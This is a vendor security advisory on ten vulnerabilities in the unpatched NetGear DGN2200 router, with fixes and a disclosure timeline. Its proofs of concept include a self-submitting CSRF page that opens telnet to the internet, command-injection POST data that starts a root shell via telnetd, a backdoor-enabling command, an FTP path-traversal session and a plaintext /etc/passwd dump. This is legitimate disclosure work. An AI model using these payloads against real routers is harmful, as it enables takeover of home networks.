Title: Multiple vulnerabilities in NETGEAR N300 WIRELESS ADSL2+ MODEM ROUTER DGN2200
====================================================================================
Notification Date: 11 February 2014
Affected Vendor: NetGear
Affected Hardware: NetGear DGN2200 N300 Wireless ADSL2+ Modem Router
Firmware Version: V1.0.0.36-7.0.37
Issue Types: * Command Injection
* Cross-site Request Forgery
* UPNP Exploitation through Cross-site Request Forgery
* Insecure FTP Root
* Cannot Disable WPS
* Passwords Stored in Plaintext
* Information Disclosure
* Firmware Update MITM
Advisory Code: AIS-2014-003
Discovered by: Andrew Horton
Issue status: No patch available - product beyond End of Life
Summary
=======
BAE Systems Applied Intelligence researcher, Andrew Horton has identified that the NetGear N300 Wireless ADSL 2+ Modem Router model DGN2200 suffers from multiple vulnerabilities which may be exploited by both local and remote attackers. This enables an attacker to completely compromise the device and stage further attacks against the local network and internet.
NetGear have indicated that this product is beyond its end of life and therefore these vulnerabilities will not be patched. As a result, BAE Systems have delayed release of this advisory for over 12 months to reduce the likelihood of active exploitation.
1. UPNP Vulnerable to CSRF
===========================
Requires
--------
Luring an unauthenticated or authenticated user to an attacker-controlled webpage.
Description
-----------
The Universal Plug and Play (UPNP) implementation used by NetGear accepts an HTTP POST request as a valid XML request, rendering the UPNP service vulnerable to inter-protocol Cross-Site Request Forgery attacks. This can be used to bypass or alter firewall rules.
The UPNP interface of the router listens on TCP port 5000 and can only be accessed from the LAN side of the device. UPNP requests do not require authentication with passwords. This vulnerability exists because the request is initiated by a user's browser on the LAN side of the device.
Impact
------
Using this vulnerability, BAE Systems was able to add new firewall rules to enable internet access to the insecure telnet port and the admin web interface.
Proof of concept
----------------
The following webpage will make telnet for the router accessible to the internet so that it may be attacked using the GearDog backdoor (See issue 5). The GearDog backdoor is a known remote access backdoor implemented in many NetGear products. This requires brute-forcing the MAC address.
<html>
<form action="http://192.168.0.1:5000/Public_UPNP_C3" method="post" ENCTYPE="text/plain">
<textarea id="1" name="1"><?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
.<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingDescription>hax3</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>887</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>23</NewInternalPort>
.</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope></textarea>
<input type="submit" >
</form>
<script> document.forms[0].submit();</script>
</html>
Note: 192.168.0.1 is the default LAN IP address. Port 23 is the internal port number and port 887 is the external port number to be opened.
Solution
--------
Ensure that UPNP requests sent through HTTP POST parameters are not honoured.
2. Command Execution with Ping
===============================
Requires
--------
Authenticated access to the web administration interface.
Description
-----------
The ping function available through the web interface is vulnerable to operating system command injection. An attacker with authenticated web user access can gain OS command execution privileges which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.
Impact
------
Using this vulnerability, BAE Systems was able to execute arbitrary commands on the underlying Linux operating system as the root user.
Proof of concept
----------------
Example exploitation to obtain a file and directory listing:
POST /ping.cgi HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 81
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YXBwbGU3ODE=
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.0.1/DIAG_diag.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
IPAddr1=a&IPAddr2=b&IPAddr3=c&IPAddr4=d&ping=xxxx&ping_IPAddr=|ls
To get an interactive shell,
1. Send the following POST data:
IPAddr1=a&IPAddr2=b&IPAddr3=c&IPAddr4=d&ping=xxxx&ping_IPAddr=|/usr/sbin/telnetd -p 90 -l /bin/sh
2. Telnet to port 90
Solution
--------
Validate untrusted user input using a whitelist of acceptable values. For example, IPv4 address values may only include the digits '0' through '9', and full stops ('.')
3. Blind Command Execution with DNS Lookup
===========================================
Requires
--------
Authenticated access to the web administration interface.
Description
-----------
The DNS lookup function available through the web interface is vulnerable to operating system command injection. An attacker with authenticated web user access can gain OS command execution privileges which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.
Impact
------
Using this vulnerability, BAE Systems was able to execute arbitrary commands on the underlying Linux operating system but was unable to see the response.
Proof of concept
----------------
Example exploitation demonstrating the issue through use of the sleep command to delay the response from the server:
POST /dnslookup.cgi HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YXBwbGU3ODE=
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.0.1/DIAG_diag.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
host_name=|sleep 5&lookup=Lookup
To get an interactive shell,
1. Send the following POST data:
hostname=|/usr/sbin/telnetd -p 90 -l /bin/sh&lookup=Lookup
2. Telnet to port 90
Solution
--------
Validate untrusted user input using a whitelist of acceptable values. For example, hostname values may only contain uppercase or lowercase ASCII letters, the digits '0' through '9', full stops (.) and hyphens ('-').
4. No Cross-Site Request Forgery (CSRF) Protection
===================================================
Requires
--------
Luring a logged in admin user into following a malicious link
Description
-----------
An attacker can lure a user into following an untrusted link to a malicious webpage that will exploit the lack of CSRF protection by forcing the user's web browser to perform unwanted actions, such as altering firewall rules. This attack returns no information to the attacker, so it is effectively 'blind', however this does not detract from the threat.
The command execution vulnerabilities described above can be performed through CSRF.
Impact
------
Using this vulnerability, BAE Systems was able to update configuration of the device, including changing WPA keys, alter firewall rules and perform command execution through exploitation of the ping and DNS features.
Solution
--------
Include an anti-CSRF token in all web forms and ensure that the token is present and correct when HTTP requests for actions are received.
5. Gearguy/Geardog Telnet Backdoor
===================================
Requires
--------
Ability to telnet to port 23 (only on LAN side by default)
Description
-----------
There is a backdoor (feature) built into many NetGear devices, where a user can gain operating system command access without requiring a password. This issue has been previously reported in other NetGear devices.
NetGear provides a windows executable to do this. A Linux client is available from http://code.google.com/p/netgear-telnetenable/
Send a Blowfish encrypted message to port 23 from the LAN. When you reconnect, it provides a shell without a password required.
Impact
------
Using this vulnerability, BAE Systems was able to gain a root shell on the underlying Linux operating system without supplying any authentication credentials. This would allow complete device compromise, which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.
Proof of concept
----------------
python telnet-enabler.py 192.168.0.1 "204E7F2172C8" Gearguy Geardog
Sent telnet enable payload to '192.168.0.1:23'
Solution
--------
Remove the backdoor feature from the device. If a last resort admin console or reset function is required, implement it to require interaction with the device so that only a person with physical access to the device is able to use this function.
6. FTP Insecure Root Directory
===============================
Requires
--------
FTP to be enabled (not enabled by default)
Description
-----------
The FTP server allows a user to access configuration files and to traverse outside the folder that contains files intended to be shared by FTP.
It is possible to list and retrieve files in the / folder, however the user is restricted from using the cd or CWD command to change the current directory to '/'.
Impact
------
Using this vulnerability, BAE Systems was able to gain access to sensitive configuration files.
Proof of concept
----------------
root@bt# ftp 192.168.0.1
Connected to 192.168.0.1.
230 User logged in.
Name (192.168.0.1:root): ftp
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT 192.168.0.6:49211 OK
150 BINARY data connection established.
lrwxrwxrwx 1 nobody root 18 Jan 01 2003 USB_Storage
226 Directory list has been submitted.
ftp> cd /
550 Error: Access Denied.
ftp> ls /
200 PORT 192.168.0.6:55927 OK
150 BINARY data connection established.
-rw-r--r-- 1 nobody root 2 Jan 01 2003 all_no_password
-rw-r--r-- 1 nobody root 1700 Jan 01 2003 bftpd.conf
drwxr-xr-x 3 nobody root 0 Jan 01 2003 conf
-rw-r--r-- 1 nobody root 2 Jan 01 2003 lan3_time
-r--r--r-- 1 nobody root 1430 Jan 01 2003 lan_dev
-rw-r--r-- 1 nobody root 2 Jan 01 2003 lan_time
drwxr-xr-x 48 nobody root 0 Jan 01 2003 mnt
-rw-r--r-- 1 nobody root 1 Jan 01 2003 opendns.flag
-rw-r--r-- 1 nobody root 0 Jan 01 2003 opendns.tbl
-rw-r--r-- 1 nobody root 0 Jan 01 2003 opendns_auth.tbl
drwxr-xr-x 2 nobody root 0 Jan 01 2003 ppp
-rw-r--r-- 1 nobody root 38 Jan 01 2003 resolv.conf
-rw-r--r-- 1 nobody root 208 Jan 01 2003 ripd.conf
drwxr-xr-x 4 nobody root 0 Jan 01 2003 samba
drwxr-xr-x 2 nobody root 0 Jan 01 2003 shares
-rw-r--r-- 1 nobody root 262 Jan 01 2003 space_info
-rw------- 1 nobody root 2 Oct 14 14:15 timesync
-rw-r--r-- 1 nobody root 242 Jan 01 2003 udhcpd.conf
-rw-r--r-- 1 nobody root 0 Jan 01 2003 udhcpd.leases
-rw-r--r-- 1 nobody root 4 Jan 01 2003 udhcpd.pid
-rw-r--r-- 1 nobody root 2 Jan 01 2003 udhcpd_resrv.conf
-rw-r--r-- 1 nobody root 3562 Jan 01 2003 upnp_xml
drwxr-xr-x 2 nobody root 0 Jan 01 2003 usb_vol_name
drwxr-xr-x 11 nobody root 0 Jan 01 2003 var
-r--r--r-- 1 nobody root 1922 Jan 01 2003 wan_dev
-rw-r--r-- 1 nobody root 3 Jan 01 2003 wan_time
drwxr-xr-x 2 nobody root 0 Jan 01 1999 wlan
-rw-r--r-- 1 nobody root 2 Jan 01 2003 wlan_time
-rw-r--r-- 1 nobody root 0 Jan 01 2003 zebra.conf
226 Directory list has been submitted.
ftp>
ftp> get /bftpd.conf
local: ./bftpd.conf remote: /bftpd.conf
200 PORT 192.168.0.5:53750 OK
150 BINARY data connection established.
226 File transmission successful.
1454 bytes received in 0.00 secs (3256.7 kB/s)
Solution
--------
Enforce the folder restriction to the /shares folder for all FTP commands.
7. Cannot Disable WPS
======================
Requires
--------
Local proximity and WiFi enabled
Description
-----------
Wi-Fi Protected Setup (WPS) is an insecure protocol vulnerable to bruteforce attacks due to design vulnerabilities. The NetGear device does not provide an effective method to disable WPS. An attacker with local proximity to the device while WiFi is enabled, can bruteforce WPS, and obtain the WPA key which allows an attacker to connect to the WiFi access point, and decrypt WiFi traffic from other users.
Software such as Reaver, can be used to brute-force the WPS key, usually within about ten hours. Reaver is available from http://code.google.com/p/reaver-wps.
The 'Advanced Wireless Settings' page contains the following section:
WPS Settings
Router's PIN: 99999999
[Tickbox] Disable Router's PIN
[Tickbox] Keep Existing Wireless Settings
Ticking the 'Disable Router's PIN' box appears to have no effect.
Impact
------
Using this vulnerability, BAE Systems was able to crack the wireless password, and gain access to the WPA2 PSK wireless network hosted by the device.
Proof of concept
----------------
This vulnerability can be exploited with the Reaver tool available from http://code.google.com/p/reaver-wps/.
Solution
--------
Implement a method for users to easily and effectively disable WPS.
8. Passwords Stored in Plaintext
=================================
Requires
--------
Telnet access or exploitation of a vulnerability providing command execution
Description
-----------
The router stores passwords in the /etc/passwd file in plaintext instead of using encrypted hashes.
Impact
------
Using this vulnerability, BAE Systems was able to learn the passwords used to access the device.
Proof of concept
----------------
# cat /etc/passwd
nobody:*:0:0:nobody:/:/bin/sh
admin:s3cr3tp4ssw0rd:0:0:admin:/:/bin/sh
guest:guest:0:0:guest:/:/bin/sh
Solution
--------
Store user passwords as a non-reversible cryptographic hash, such as SHA-256.
9. Pre-Authentication Information Disclosure
=============================================
Requires
--------
Unauthenticated access to the web interface
Description
-----------
This issue has been previously reported in other NetGear devices and is the same issue reported here:
* http://websec.mx/advisories/view/Revelacion_de_informacion_en_Netgear
Impact
------
Using this vulnerability, BAE Systems was able to learn some identifying features of the device without needing to provide credentials.
Proof of concept
----------------
URL: http://192.168.0.1/currentsetting.htm
Firmware=V1.0.0.36_7.0.36
RegionTag=DGN2200_WW
Region=ww
Model=DGN2200
InternetConnectionStatus=Up
ParentalControlSupported=1
Solution
--------
Restrict access to webpages containing sensitive functionality or data to authenticated users.
10. Firmware Update Vulnerable to Man In The Middle
===================================================
Requires
--------
Control of the users network, for example at the ISP level or local network.
Description
-----------
Each time an admin logs into the web interface, the web interface attempts to find new firmware on an FTP server.
FTP is an insecure protocol that is vulnerable to man-in-the-middle attacks. An attacker could provide a backdoored version of the firmware.
Updates are sourced from: ftp://14.0.34.208/dgn2200/ww/
Impact
------
Using this vulnerability, BAE Systems was able to provide a malicious firmware image to the router.
Solution
--------
Retrieve updates using a protocol with SSL/TLS with certificate validation.
Apply a public key signature to firmware images and check them before usage.
End User Recommendation
=======================
Replace your NetGear router with a more recent model that can receive updated firmware.
Disclosure Time-Line
====================
29/11/2012 - Vendor notified
6/12/2012 - Vendor acknowledges vulnerabilities but advises that the product is beyond its end of life and will not be patched
11/2/2014 - Advisory released
Contact
====================
Advisory URL: http://www.baesystemsdetica.com.au/Research/Advisories/NETGEAR-DGN2200-Multiple-Vulnerabilities-%28AIS-2014
Website: www.baesystems.com
